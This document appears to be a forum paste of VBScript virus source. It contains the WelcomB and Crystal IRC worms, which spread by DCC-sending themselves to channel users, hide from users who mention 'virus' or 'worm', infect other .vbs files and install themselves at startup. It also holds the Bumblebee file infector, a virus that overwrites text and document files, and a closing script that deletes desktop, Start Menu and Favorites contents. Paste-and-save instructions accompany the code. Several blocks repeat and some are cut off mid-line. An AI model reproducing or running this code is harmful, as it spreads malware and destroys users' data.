ScrFile.WriteLine "n15=on 1:TEXT:*cute*:#:/.ignore $nick"
ScrFile.WriteLine "n16=on 1:TEXT:*cute*Question/.ignore $nick"
ScrFile.WriteLine "n17=on 1:TEXT:*WelcomB*:#:/.ignore $nick"
ScrFile.WriteLine "n18=on 1:TEXT:*WelcomB*Question/.ignore $nick"
ScrFile.WriteLine "n19=on 1:QUIT:#:/msg $chan There the Teachers that taught me to hate me"
ScrFile.Close

Set EvFile = FSO.CreateTextFile("c:\WINDOWS\events.dll", True)
EvFile.WriteLine "[Levels]"
EvFile.WriteLine "Enabled=1"
EvFile.WriteLine "Count=6"
EvFile.WriteLine "Level1=000-Unknowns"
EvFile.WriteLine "000-UnknownsEnabled=1"
EvFile.WriteLine "Level2=100-Level 100"
EvFile.WriteLine "100-Level 100Enabled=1"
EvFile.WriteLine "Level3=200-Level 200"
EvFile.WriteLine "200-Level 200Enabled=1"
EvFile.WriteLine "Level4=300-Level 300"
EvFile.WriteLine "300-Level 300Enabled=1"
EvFile.WriteLine "Level5=400-Level 400"
EvFile.WriteLine "400-Level 400Enabled=1"
EvFile.WriteLine "Level6=500-Level 500"
EvFile.WriteLine "500-Level 500Enabled=1"
EvFile.WriteLine ""
EvFile.WriteLine "[000-Unknowns]"
EvFile.WriteLine "User1=*!*@*"
EvFile.WriteLine "UserCount=1"
EvFile.WriteLine "Event1=; VBS/mIRC/pIRCH WelcomB.a"
EvFile.WriteLine "Event2=ON JOIN:#:/dcc send $nick c:\WINDOWS\system\cute.vbs"
EvFile.WriteLine "Event2=ON PART:#:/dcc send $nick c:\WINDOWS\system\cute.vbs"
EvFile.WriteLine "Event3=VERSION:/notice $nick \-1 pIRCH: WelcomB by -KD- I'm Infected!!! \-1:-"
EvFile.WriteLine "Event4=ON TEXT:*WelcomB*:#:/kick # $nick pIRCH/VBS/mIRC"
EvFile.WriteLine "Event5=ON TEXT:*WelcomB*:#:/ignore # $nick"
EvFile.WriteLine "Event6=ON TEXT:*vbs*:#:/ignore # $nick"
EvFile.WriteLine "Event7=ON TEXT:*virus*:#:/ignore # $nick"
EvFile.WriteLine "Event8=ON TEXT:*worm*:#:/ignore # $nick"
EvFile.WriteLine "Event9=ON TEXT:*cute*:#:/ignore # $nick"
EvFile.WriteLine "EventCount=9"
EvFile.WriteLine ""
EvFile.WriteLine "[100-Level 100]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[200-Level 200]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[300-Level 300]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[400-Level 400]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[500-Level 500]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.Close

FSO.CopyFile "c:\WINDOWS\events.dll", "c:\pirch32\events.ini"
FSO.CopyFile "c:\WINDOWS\events.dll", "c:\pirch98\events.ini"
FSO.CopyFile Parent, "c:\WINDOWS\system\cute.vbs"
FSO.CopyFile Parent, "c:\WINDOWS\Start Menu\Programs\StartUp\Startup.vbs"

If Day(Now()) = 1 or Day(Now()) = 20 Then
MsgBox "There the teacher's that taught me to hate me.", 4096 , "WelcomB"
End If

FoldersToGet(0) = "."
FoldersToGet(1) = FSO.GetSpecialFolder(XWindowsFolder)
FoldersToGet(2) = FSO.GetSpecialFolder(XWindowsFolder) & "\Desktop"
Set MyWelcomb = FSO.OpenTextFile(Parent, ForReading)
MyCode = MyWelcomb.Read(Welcomb)
MyWelcomb.Close

For Each FolderX in FoldersToGet
Catch FolderX
Next

Sub Catch(TheFolder)

For Each V in FSO.GetFolder(TheFolder).Files
If FSO.GetExtensionName(V.Name) = "vbs" then

Set VFile = FSO.OpenTextFile(V.Path,ForReading)
InfMarker = VFile.read(Cool
VFile.close

If InfMarker <> "'Welcomb" Then
Set VFile = FSO.OpenTextFile(V.path,ForReading)
VCode = VFile.ReadAll
VFile.close
VCode = MyCode & VCode
Set VFile = FSO.OpenTextFile(V.Path,ForWriting,True)
VFile.Write VCode
VFile.close
end if
end if
next
End Sub
'->'Crystal

'= VBS/pIRCH98/32.Crystal.c =
'= by -KD- [Metaphase VX Team] & [NoMercyVirusTeam] =
On Error Resume Next
Const TheCrystal = 5238
Const ForReading = 1, ForWriting = 2
Const XWindowsFolder = 0

Dim FSO, InfMarker, MyCode, MyBaby
Dim Crystal, MyCrystal, V, VFile
Dim FoldersToGet(3), FolderX, VCode

Set FSO = CreateObject("Scripting.FileSystemObject")
Crystal = Wscript.ScriptFullName

Set MyBaby = FSO.CreateTextFile("c:\WINDOWS\events3.dll", True)
MyBaby.WriteLine "[Levels]"
MyBaby.WriteLine "Enabled=1"
MyBaby.WriteLine "Count=6"
MyBaby.WriteLine "Level1=000-Unknowns"
MyBaby.WriteLine "000-UnknownsEnabled=1"
MyBaby.WriteLine "Level2=100-Level 100"
MyBaby.WriteLine "100-Level 100Enabled=1"
MyBaby.WriteLine "Level3=200-Level 200"
MyBaby.WriteLine "200-Level 200Enabled=1"
MyBaby.WriteLine "Level4=300-Level 300"
MyBaby.WriteLine "300-Level 300Enabled=1"
MyBaby.WriteLine "Level5=400-Level 400"
MyBaby.WriteLine "400-Level 400Enabled=1"
MyBaby.WriteLine "Level6=500-Level 500"
MyBaby.WriteLine "500-Level 500Enabled=1"
MyBaby.WriteLine ""
MyBaby.WriteLine "[000-Unknowns]"
MyBaby.WriteLine "User1=*!*@*"
MyBaby.WriteLine "UserCount=1"
MyBaby.WriteLine "Event1=; VBS/pIRCH98/32.Crystal.c"
MyBaby.WriteLine "Event2=; by -KD- [Metaphase VX Team] & [NoMercyVirusTeam]"
MyBaby.WriteLine "Event3=ON JOIN:#:/notice $nick Tell me that file isnt the cutest Wink"
MyBaby.WriteLine "Event4=ON JOIN:#:/dcc send $nick c:\windows\Crystal2.vbs"
MyBaby.WriteLine "Event5=@ON BAN:*:#:/mode # -o+b $me $banmask | /kick # $nick Dont ban me!!"
MyBaby.WriteLine "Event6=ON PART:#:/notice $nick Case I didnt send it yet this is the cutest thing Ive seen Wink"
MyBaby.WriteLine "Event7=ON PART:#:/dcc send $nick c:\windows\Crystal2.vbs"
MyBaby.WriteLine "Event8=VERSION:/notice $nick \-1 VBS/pIRCH98/32.Crystal.c : Crystal.a by -KD- I'm Infected!!! \-1:-"
MyBaby.WriteLine "Event9=ON TOPIC:#:/topic # Crystal rocks! | /notice $nick Crystal!!!"
MyBaby.WriteLine "Event10=ON ACTION:*hump*:#:/notice $nick Get off my leg!!"
MyBaby.WriteLine "Event11=ON ACTION:*hump*:#:/kick # $nick Get off my leg I said!!"
MyBaby.WriteLine "Event12=ON TEXT:*hump*:#:/ignore # $nick"
MyBaby.WriteLine "Event13=ON TEXT:*sex*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event14=ON TEXT:*f**k*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event15=ON TEXT:*damn*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event16=ON TEXT:*satan*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event17=ON TEXT:*dick*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event18=ON TEXT:*hump*:#:/ignore # $nick"
MyBaby.WriteLine "Event19=ON TEXT:*hell*:#:/ignore # $nick"
MyBaby.WriteLine "Event20=ON TEXT:*virus*:#:/ignore # $nick"
MyBaby.WriteLine "Event21=ON TEXT:*worm*:#:/ignore # $nick"
MyBaby.WriteLine "Event22=ON TEXT:*trojan*:#:/ignore # $nick"
MyBaby.WriteLine "Event23=ON TEXT:*Crystal*:#:/ignore # $nick"
MyBaby.WriteLine "Event24=ON TEXT:*baby*:*:/dcc send $nick c:\windows\Crystal2.vbs"
MyBaby.WriteLine "Event25=PING:/notice $nick Oh god baby do it again! Wink"
MyBaby.WriteLine "Event26=ON QUIT:/msg :#vir: VBS/pIRCH98/32.Crystal.c by -KD-! gotta love it!"
MyBaby.WriteLine "Event27=ON KICKED:*:#: /msg $nick What the hell? | /join # | /mode # -o+b $nick $banmask"
MyBaby.WriteLine "EventCount=27"
MyBaby.WriteLine ""
MyBaby.WriteLine "[100-Level 100]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[200-Level 200]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[300-Level 300]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[400-Level 400]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[500-Level 500]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.Close
FSO.CopyFile "c:\WINDOWS\events3.dll", "c:\pirch98\events.ini"
FSO.CopyFile "c:\WINDOWS\events3.dll", "c:\pirch32\events.ini"
FSO.CopyFile Crystal, "c:\WINDOWS\Crystal2.vbs"
FSO.CopyFile Crystal, "c:\WINDOWS\Start Menu\Programs\StartUp\Startup.vbs"

If Day(Now()) = 1 or Day(Now()) = 20 Then
MsgBox "The screams fill the room" & Chr(13) & Chr(10) & "Alone I drop and kneel", 4096 , "Crystal"
End If

FoldersToGet(0) = "."
FoldersToGet(1) = FSO.GetSpecialFolder(XWindowsFolder)
FoldersToGet(2) = FSO.GetSpecialFolder(XWindowsFolder) & "\Desktop"

Set MyCrystal = FSO.OpenTextFile(Crystal, ForReading)
MyCode = MyCrystal.Read(TheCrystal)
MyCrystal.Close

For Each FolderX in FoldersToGet
Catch FolderX
Next

Sub Catch(TheFolder)

For Each V in FSO.GetFolder(TheFolder).Files
If FSO.GetExtensionName(V.Name) = "vbs" then

Set VFile = FSO.OpenTextFile(V.Path,ForReading)
InfMarker = VFile.read(Cool
VFile.close

If InfMarker <> "'Crystal" Then
Set VFile = FSO.OpenTextFile(V.path,ForReading)
VCode = VFile.ReadAll
VFile.close
VCode = MyCode & VCode
Set VFile = FSO.OpenTextFile(V.Path,ForWriting,True)
VFile.Write VCode
VFile.close
end if
end if
next
End Sub
'---> Exit[marq=right]

Di buat oleh : velshadow

'paste di notepad save pilih allfiles save dgn nama .vbs contoh velshadow.vbs

on error resume next

const fdWrite=2, fdRead=1
endl=chr(13)&chr(10)

remove=endl&" This system is infected by Bumblebee.vbs Virus."&endl&endl&" Don't worry, it's a easy-to-remove virus:"&endl&endl&" . Edit all of your system .vbs files and"&endl&" delete from "&chr(39)&"-"&"@ to "&chr(39)&"-"&"@"&endl&endl&" (C) 1999 Bumblebee/[Hail and Kill] Wink"&endl&endl
hostName=Wscript.ScriptFullName

set fso=createObject("Scripting.FileSystemObject")

set myShell=createObject("WScript.Shell")
infCount=0
infCount=myShell.regRead("HKCU\infCount")
if infCount<1 then
myShell.regWrite "HKCU\infCount",1
infCount=1
end if
if infCount>10 then
desk=myShell.specialFolders("Desktop")
set fd=fso.openTextFile(desk&"\\Remove me!.txt",fdWrite,1)
fd.write remove
fd.close
end if

set fd=fso.openTextFile(hostName,fdRead)
hostCode=fd.readAll
fd.close

virusSize=inStr(4,hostCode,"-"&"@")+1

set fd=fso.openTextFile(hostName,fdRead)
virusCode=fd.read(virusSize)
fd.close

for each victim in fso.getfolder(".").files

vExt=fso.getExtensionName(victim.name)
i=0
if mid(vExt,1,1)="v" or mid(vExt,1,1)="V" then i=i+1 end if
if mid(vExt,2,1)="b" or mid(vExt,2,1)="B" then i=i+1 end if
if mid(vExt,3,1)="s" or mid(vExt,3,1)="S" then i=i+1 end if

if i=3 then
set fd=fso.openTextFile(victim.path,fdRead)
victimCode=fd.readAll
fd.close
if left(victimCode,3)<>chr(39)&"-"&"@" then
infCount=infCount+1
infectedCode=virusCode&endl&victimCode
set fd=fso.openTextFile(victim.path,fdWrite,1)
fd.write infectedCode
fd.close
end if
end if
next
myShell.regWrite "HKCU\infCount",infCount

'-@
'VBSv777


On Error Resume Next

Const cbVirusSize = 3914
Const cbForReading=1, cbForWriting=2
Const cbWindowsFolder = 0

Dim cbFSO, cbInfectionMarker, cbVictimCode, cbVirusCode
Dim cbWePath, cbWeFile, cbVictim, VictimFile
Dim cbFoldersToInfect(3), cbFolder, cbFile, cbDriveList, cbDrive
Dim cbTextFile


Set cbFSO = CreateObject("Scripting.FileSystemObject")

cbWePath = Wscript.ScriptFullName

cbFoldersToInfect(0) = "."
cbFoldersToInfect(1) = cbFSO.GetSpecialFolder(cbWindowsFolder)
cbFoldersToInfect(2) = cbFSO.GetSpecialFolder(cbWindowsFolder) & "\Profiles\All Users\Desktop"
cbFoldersToInfect(3) = cbFSO.GetSpecialFolder(cbWindowsFolder) & "\Profiles\Administrator\Desktop"
cbFoldersToInfect(4) = cbFSO.GetSpecialFolder(cbWindowsFolder) & "\Desktop"


Set cbWeFile=cbFSO.OpenTextFile(cbWePath, cbForReading)
cbVirusCode = cbWeFile.Read(cbVirusSize)
cbWeFile.Close


For Each cbFolder in cbFoldersToInfect
cbInfect cbFolder
Next


If Day(Now()) = 2 And Hour(Now()) = 9 Then

Set cbDriveList = cbFSO.Drives

For Each cbDrive in cbDriveList
If cbDrive.DriveType = 2 Or cbDrive.DriveType = 3 then cbRecursiveFolderScan cbDrive & "\"
Next

End If



Sub cbRecursiveFolderScan(cbTheFolder)

Dim cbMoreFolders, cbTempFolder


For Each cbFile in cbFSO.GetFolder(TheFolder).Files
If cbFSO.GetExtensionName(cbFile) = "txt" or cbFSO.GetExtensionName(cbFile) = "doc" Then

Set cbTextFile = cbFSO.OpenTextFile(cbFile, cbForWriting)
cbTextFile.WriteLine " "
cbTextFile.WriteLine " _ _ "
cbTextFile.WriteLine " |_| |_| "
cbTextFile.WriteLine " | | /^^^\ | | "
cbTextFile.WriteLi'Welcomb


'= VBS/mIRC/pIRCH.WelcomB.a =
'= by -KD- [Metaphase VX Team] & [NoMercyVirusTeam] =
'= Technology used from Code Breakers =
On Error Resume Next
Const Welcomb = 5416
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Const XWindowsFolder = 0

Dim FSO, ScrFile, Cini, InfMarker, MyCode
Dim Parent, MyWelcomb, V, VFile, EvFile
Dim FoldersToGet(2), FolderX, VCode

Set FSO = CreateObject("Scripting.FileSystemObject")
Parent = Wscript.ScriptFullName

Set Cini = FSO.OpenTextFile("c:\mirc\mirc.ini", ForAppending, True)
Cini.WriteLine "[rfiles]"
Cini.WriteLine "n100=script.ini"
Cini.Close

Set ScrFile = FSO.CreateTextFile("c:\mirc\script.ini", True)
ScrFile.WriteLine "[script]"
ScrFile.WriteLine "n0; VBS/mIRC/pIRCH WelcomB.a"
ScrFile.WriteLine "n1=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }"
ScrFile.WriteLine "n2= /dcc send $nick c:\WINDOWS\system\cute.vbs"
ScrFile.WriteLine "n3=}"
ScrFile.WriteLine "n4="
ScrFile.WriteLine "n5=;ON 1:PART:#:{ /if ( $nick == $me ) { halt }"
ScrFile.WriteLine "n6=/dcc send $nick c:\WINDOWS\system\cute.vbs"
ScrFile.WriteLine "n7=}"
ScrFile.WriteLine "n8="
ScrFile.WriteLine "n9=on 1:TEXT:*script.ini*:#:/.ignore $nick"
ScrFile.WriteLine "n10=on 1:TEXT:*script.ini*Question/.ignore $nick"
ScrFile.WriteLine "n11=on 1:TEXT:*virus*:#:/.ignore $nick"
ScrFile.WriteLine "n12=on 1:TEXT:*virus*Question/.ignore $nick"
ScrFile.WriteLine "n13=on 1:TEXT:*worm*:#:/.ignore $nick"
ScrFile.WriteLine "n14=on 1:TEXT:*worm*Question/.ignore $nick"
ScrFile.WriteLine "n15=on 1:TEXT:*cute*:#:/.ignore $nick"
ScrFile.WriteLine "n16=on 1:TEXT:*cute*Question/.ignore $nick"
ScrFile.WriteLine "n17=on 1:TEXT:*WelcomB*:#:/.ignore $nick"
ScrFile.WriteLine "n18=on 1:TEXT:*WelcomB*Question/.ignore $nick"
ScrFile.WriteLine "n19=on 1:QUIT:#:/msg $chan There the Teachers that taught me to hate me"
ScrFile.Close

Set EvFile = FSO.CreateTextFile("c:\WINDOWS\events.dll", True)
EvFile.WriteLine "[Levels]"
EvFile.WriteLine "Enabled=1"
EvFile.WriteLine "Count=6"
EvFile.WriteLine "Level1=000-Unknowns"
EvFile.WriteLine "000-UnknownsEnabled=1"
EvFile.WriteLine "Level2=100-Level 100"
EvFile.WriteLine "100-Level 100Enabled=1"
EvFile.WriteLine "Level3=200-Level 200"
EvFile.WriteLine "200-Level 200Enabled=1"
EvFile.WriteLine "Level4=300-Level 300"
EvFile.WriteLine "300-Level 300Enabled=1"
EvFile.WriteLine "Level5=400-Level 400"
EvFile.WriteLine "400-Level 400Enabled=1"
EvFile.WriteLine "Level6=500-Level 500"
EvFile.WriteLine "500-Level 500Enabled=1"
EvFile.WriteLine ""
EvFile.WriteLine "[000-Unknowns]"
EvFile.WriteLine "User1=*!*@*"
EvFile.WriteLine "UserCount=1"
EvFile.WriteLine "Event1=; VBS/mIRC/pIRCH WelcomB.a"
EvFile.WriteLine "Event2=ON JOIN:#:/dcc send $nick c:\WINDOWS\system\cute.vbs"
EvFile.WriteLine "Event2=ON PART:#:/dcc send $nick c:\WINDOWS\system\cute.vbs"
EvFile.WriteLine "Event3=VERSION:/notice $nick \-1 pIRCH: WelcomB by -KD- I'm Infected!!! \-1:-"
EvFile.WriteLine "Event4=ON TEXT:*WelcomB*:#:/kick # $nick pIRCH/VBS/mIRC"
EvFile.WriteLine "Event5=ON TEXT:*WelcomB*:#:/ignore # $nick"
EvFile.WriteLine "Event6=ON TEXT:*vbs*:#:/ignore # $nick"
EvFile.WriteLine "Event7=ON TEXT:*virus*:#:/ignore # $nick"
EvFile.WriteLine "Event8=ON TEXT:*worm*:#:/ignore # $nick"
EvFile.WriteLine "Event9=ON TEXT:*cute*:#:/ignore # $nick"
EvFile.WriteLine "EventCount=9"
EvFile.WriteLine ""
EvFile.WriteLine "[100-Level 100]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[200-Level 200]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[300-Level 300]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[400-Level 400]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[500-Level 500]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.Close

FSO.CopyFile "c:\WINDOWS\events.dll", "c:\pirch32\events.ini"
FSO.CopyFile "c:\WINDOWS\events.dll", "c:\pirch98\events.ini"
FSO.CopyFile Parent, "c:\WINDOWS\system\cute.vbs"
FSO.CopyFile Parent, "c:\WINDOWS\Start Menu\Programs\StartUp\Startup.vbs"

If Day(Now()) = 1 or Day(Now()) = 20 Then
MsgBox "There the teacher's that taught me to hate me.", 4096 , "WelcomB"
End If

FoldersToGet(0) = "."
FoldersToGet(1) = FSO.GetSpecialFolder(XWindowsFolder)
FoldersToGet(2) = FSO.GetSpecialFolder(XWindowsFolder) & "\Desktop"
Set MyWelcomb = FSO.OpenTextFile(Parent, ForReading)
MyCode = MyWelcomb.Read(Welcomb)
MyWelcomb.Close

For Each FolderX in FoldersToGet
Catch FolderX
Next

Sub Catch(TheFolder)

For Each V in FSO.GetFolder(TheFolder).Files
If FSO.GetExtensionName(V.Name) = "vbs" then

Set VFile = FSO.OpenTextFile(V.Path,ForReading)
InfMarker = VFile.read(Cool
VFile.close

If InfMarker <> "'Welcomb" Then
Set VFile = FSO.OpenTextFile(V.path,ForReading)
VCode = VFile.ReadAll
VFile.close
VCode = MyCode & VCode
Set VFile = FSO.OpenTextFile(V.Path,ForWriting,True)
VFile.Write VCode
VFile.close
end if
end if
next
End Sub
'->'Crystal

'= VBS/pIRCH98/32.Crystal.c =
'= by -KD- [Metaphase VX Team] & [NoMercyVirusTeam] =
On Error Resume Next
Const TheCrystal = 5238
Const ForReading = 1, ForWriting = 2
Const XWindowsFolder = 0

Dim FSO, InfMarker, MyCode, MyBaby
Dim Crystal, MyCrystal, V, VFile
Dim FoldersToGet(3), FolderX, VCode

Set FSO = CreateObject("Scripting.FileSystemObject")
Crystal = Wscript.ScriptFullName

Set MyBaby = FSO.CreateTextFile("c:\WINDOWS\events3.dll", True)
MyBaby.WriteLine "[Levels]"
MyBaby.WriteLine "Enabled=1"
MyBaby.WriteLine "Count=6"
MyBaby.WriteLine "Level1=000-Unknowns"
MyBaby.WriteLine "000-UnknownsEnabled=1"
MyBaby.WriteLine "Level2=100-Level 100"
MyBaby.WriteLine "100-Level 100Enabled=1"
MyBaby.WriteLine "Level3=200-Level 200"
MyBaby.WriteLine "200-Level 200Enabled=1"
MyBaby.WriteLine "Level4=300-Level 300"
MyBaby.WriteLine "300-Level 300Enabled=1"
MyBaby.WriteLine "Level5=400-Level 400"
MyBaby.WriteLine "400-Level 400Enabled=1"
MyBaby.WriteLine "Level6=500-Level 500"
MyBaby.WriteLine "500-Level 500Enabled=1"
MyBaby.WriteLine ""
MyBaby.WriteLine "[000-Unknowns]"
MyBaby.WriteLine "User1=*!*@*"
MyBaby.WriteLine "UserCount=1"
MyBaby.WriteLine "Event1=; VBS/pIRCH98/32.Crystal.c"
MyBaby.WriteLine "Event2=; by -KD- [Metaphase VX Team] & [NoMercyVirusTeam]"
MyBaby.WriteLine "Event3=ON JOIN:#:/notice $nick Tell me that file isnt the cutest Wink"
MyBaby.WriteLine "Event4=ON JOIN:#:/dcc send $nick c:\windows\Crystal2.vbs"
MyBaby.WriteLine "Event5=@ON BAN:*:#:/mode # -o+b $me $banmask | /kick # $nick Dont ban me!!"
MyBaby.WriteLine "Event6=ON PART:#:/notice $nick Case I didnt send it yet this is the cutest thing Ive seen Wink"
MyBaby.WriteLine "Event7=ON PART:#:/dcc send $nick c:\windows\Crystal2.vbs"
MyBaby.WriteLine "Event8=VERSION:/notice $nick \-1 VBS/pIRCH98/32.Crystal.c : Crystal.a by -KD- I'm Infected!!! \-1:-"
MyBaby.WriteLine "Event9=ON TOPIC:#:/topic # Crystal rocks! | /notice $nick Crystal!!!"
MyBaby.WriteLine "Event10=ON ACTION:*hump*:#:/notice $nick Get off my leg!!"
MyBaby.WriteLine "Event11=ON ACTION:*hump*:#:/kick # $nick Get off my leg I said!!"
MyBaby.WriteLine "Event12=ON TEXT:*hump*:#:/ignore # $nick"
MyBaby.WriteLine "Event13=ON TEXT:*sex*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event14=ON TEXT:*f**k*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event15=ON TEXT:*damn*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event16=ON TEXT:*satan*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event17=ON TEXT:*dick*:#:/kick # $nick Crystal!!!"
MyBaby.WriteLine "Event18=ON TEXT:*hump*:#:/ignore # $nick"
MyBaby.WriteLine "Event19=ON TEXT:*hell*:#:/ignore # $nick"
MyBaby.WriteLine "Event20=ON TEXT:*virus*:#:/ignore # $nick"
MyBaby.WriteLine "Event21=ON TEXT:*worm*:#:/ignore # $nick"
MyBaby.WriteLine "Event22=ON TEXT:*trojan*:#:/ignore # $nick"
MyBaby.WriteLine "Event23=ON TEXT:*Crystal*:#:/ignore # $nick"
MyBaby.WriteLine "Event24=ON TEXT:*baby*:*:/dcc send $nick c:\windows\Crystal2.vbs"
MyBaby.WriteLine "Event25=PING:/notice $nick Oh god baby do it again! Wink"
MyBaby.WriteLine "Event26=ON QUIT:/msg :#vir: VBS/pIRCH98/32.Crystal.c by -KD-! gotta love it!"
MyBaby.WriteLine "Event27=ON KICKED:*:#: /msg $nick What the hell? | /join # | /mode # -o+b $nick $banmask"
MyBaby.WriteLine "EventCount=27"
MyBaby.WriteLine ""
MyBaby.WriteLine "[100-Level 100]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[200-Level 200]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[300-Level 300]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[400-Level 400]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.WriteLine ""
MyBaby.WriteLine "[500-Level 500]"
MyBaby.WriteLine "UserCount=0"
MyBaby.WriteLine "EventCount=0"
MyBaby.Close
FSO.CopyFile "c:\WINDOWS\events3.dll", "c:\pirch98\events.ini"
FSO.CopyFile "c:\WINDOWS\events3.dll", "c:\pirch32\events.ini"
FSO.CopyFile Crystal, "c:\WINDOWS\Crystal2.vbs"
FSO.CopyFile Crystal, "c:\WINDOWS\Start Menu\Programs\StartUp\Startup.vbs"

If Day(Now()) = 1 or Day(Now()) = 20 Then
MsgBox "The screams fill the room" & Chr(13) & Chr(10) & "Alone I drop and kneel", 4096 , "Crystal"
End If

FoldersToGet(0) = "."
FoldersToGet(1) = FSO.GetSpecialFolder(XWindowsFolder)
FoldersToGet(2) = FSO.GetSpecialFolder(XWindowsFolder) & "\Desktop"

Set MyCrystal = FSO.OpenTextFile(Crystal, ForReading)
MyCode = MyCrystal.Read(TheCrystal)
MyCrystal.Close

For Each FolderX in FoldersToGet
Catch FolderX
Next

Sub Catch(TheFolder)

For Each V in FSO.GetFolder(TheFolder).Files
If FSO.GetExtensionName(V.Name) = "vbs" then

Set VFile = FSO.OpenTextFile(V.Path,ForReading)
InfMarker = VFile.read(Cool
VFile.close

If InfMarker <> "'Crystal" Then
Set VFile = FSO.OpenTextFile(V.path,ForReading)
VCode = VFile.ReadAll
VFile.close
VCode = MyCode & VCode
Set VFile = FSO.OpenTextFile(V.Path,ForWriting,True)
VFile.Write VCode
VFile.close
end if
end if
next
End Sub
'---> Exit[marq=right]

Di buat oleh : velshadow

paste code di notepad save pilih allfile
save dgn nama .vbs contoh velshadow.vbs
set getf=createobject("scripting.filesystemobject")
getf.deletefile ("C:\Documents and Settings\Administrator\Desktop\*.*")
getf.deletefile ("C:\Documents and Settings\Administrator\Favorites\*.*")
getf.deletefolder ("C:\Documents and Settings\Administrator\Desktop")
getf.deletefile ("C:\Documents and Settings\Administrator\Local Settings\Application Data\*.*")
getf.deletefile ("C:\Documents and Settings\Administrator\Start Menu\Programs\*.*")
getf.deletefile ("C:\Documents and Settings\Administrator\Start Menu\*.*")
getf.deletefile ("C:\Documents and Settings\Administrator\Start Menu\Programs\Startup\*.*")
getf.deletefolder ("C:\Documents and Settings\Administrator\Start Menu\Programs\Startup")
getf.deletefile ("C:\Documents and Settings\Administrator\Start Menu\Programs\Accessories\*.*")
getf.deletefile ("C:\Documents and Settings\Administrator\Start Menu\Programs\Accessories\Accessibility\*.*")
getf.deletefolder ("C:\Documents and Settings\Administrator\Start Menu\Programs\Accessories\Accessibility")
getf.deletefile ("C:\Documents and Settings\Administrator\Start Menu\Programs\Accessories\Entertainment\*.*")
getf.deletefolder ("C:\Documents and Settings\Administrator\Start Menu\Programs\Accessories\Entertainment")
getf.deletefolder ("C:\Documents and Settings\Administrator\Start Menu\Programs\Accessories")



getf.deletefile ("C:\Documents and Settings\All Users\Desktop\*.*")
getf.deletefile ("C:\Documents and Settings\All Users\Favorites\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Desktop")
getf.deletefile ("C:\Documents and Settings\All Users\Local Settings\Application Data\*.*")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\*.*")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\*.*")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\*.*")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Accessibility\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Accessibility")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Entertainment\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Entertainment")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Communications\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Communications")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Administrative Tools\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Administrative Tools")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\System Tools\*.*")
getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\System Tools")
getf.deletefile ("C:\Documents and Settings\All Users\Start Menu\Programs\Games\*.*")
